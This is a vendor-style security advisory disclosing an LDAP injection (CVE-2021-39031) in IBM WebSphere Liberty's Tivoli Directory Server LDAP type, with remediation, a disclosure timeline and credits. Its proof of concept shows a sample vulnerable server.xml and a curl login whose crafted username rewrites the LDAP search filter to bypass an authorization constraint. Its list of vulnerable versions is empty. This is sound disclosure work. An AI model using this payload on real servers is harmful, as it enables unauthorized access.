IBM WebSphere Liberty LDAP injection



  • LDAP Injection
  • Severity

  • Medium
  • Affected products

  • IBM WebSphere Liberty
  • Remediation

  • The recommended solution is to apply the interim fix or Fix Pack containing APAR PH42489 for each named product as soon as practical. For WebSphere Application Server Liberty - using the ldapRegistry-3.0 feature: Upgrade to minimal fix pack levels as required by interim fix and then apply Interim Fix PH42489 Or: Apply Liberty Fix Pack or later (targeted availability 1Q2022).
  • Credits

  • Vulnerabilities discovered by William Söderberg of WithSecure Labs and WithSecure Consulting.
  • References

  • Security Bulletin: IBM WebSphere Application Server Liberty is vulnerable to LDAP Injection (CVE-2021-39031)
2021-10-19 Vulnerability submission to IBM
2021-10-21 Additional information provided to IBM
2022-01-24 IBM publishes advisory and patch
2022-05-24 WithSecure publishes advisory


WithSecure identified an LDAP injection in the IBM WebSphere Liberty application server. The injection could allow an attacker to gain unauthorized access to resources. 

IBM describes Liberty as follows: "IBM® WebSphere® Liberty, available as part of IBM WebSphere Hybrid Edition, is a modern Java EE, Jakarta EE, MicroProfile runtime, ideal for building new cloud-native applications and modernizing existing applications. Liberty is highly efficient and optimized for modern cloud technologies and practices, making it an ideal choice for container and Kubernetes-based deployments."

Liberty supports integration with a number of different LDAP servers. These LDAP registries can be used for authenticating users. Different LDAP backends are supported and are called ldapTypes in the Liberty configuration. The IBM Tivoli Directory server ldapType did not properly escape characters with a special context in LDAP search filters. This enabled injection into the constructed LDAP query that could result in an altered LDAP search filter. 

Vulnerable versions of Liberty are -


An attacker could alter the structure of the LDAP search filter during authentication, possibly bypassing constraints placed on authorization. A typical such constraint would be that the user must be member of a specific group or have a specific attribute value set. 

Proof of concept

A vulnerable Liberty configuration file (server.xml) can be viewed below:

<server description="Sample Liberty server">
<variable name="default.http.port" defaultValue="9080"/>
<variable name="default.https.port" defaultValue="9443"/>
<mpMetrics authentication="false"/>
<webApplication location="liberty.war" contextRoot="/" />
<httpEndpoint host="*" httpPort="${default.http.port}" httpsPort="${default.https.port}" id="defaultHttpEndpoint"/>
<ldapRegistry id="ldap" realm="SampleLdapADRealm" host="openldap" port="389" ignoreCase="true" baseDN="cn=users,dc=my-company,dc=com" bindDN="cn=admin,dc=my-company,dc=com" bindPassword="JonSn0w" ldapType="IBM Tivoli Directory Server" sslEnabled="false">
<idsFilters userFilter="(&amp;(uid=%v)(objectcategory=computer))"/>
<contextPool enabled="false"/>
<webAppSecurity allowFailOverToBasicAuth="true" allowAuthenticationFailOverToAuthMethod="BASIC"/>

The above userFilter contains a contrived example where only users that have their objectcategory set to computer can sign in. No user will be able to sign in using this filter, since user entries normally do not have this attribute value set. The configuration is set to allow user authentication using the Basic authentication method. 

The deployed web application, liberty.war, simply prints the authenticated user's principal. 

If we attempt a login with a valid username and password, the LDAP filter constraint prevents us from signing in:

§ curl "william:password@localhost:9080/login"
Login failed

By exploiting the LDAP injection, we bypass the LDAP filter constraint and are successfully signed in:

$ curl "william))(&(abc=:password@localhost:9080/login"


The other ldapTypes in Liberty are not vulnerable. It might be possible to change the ldapType from IBM Tivoli Directory Server to another ldapType and still have a working integration with the LDAP server. This should of course be tested thoroughly to ensure that no issues are introduced by the change.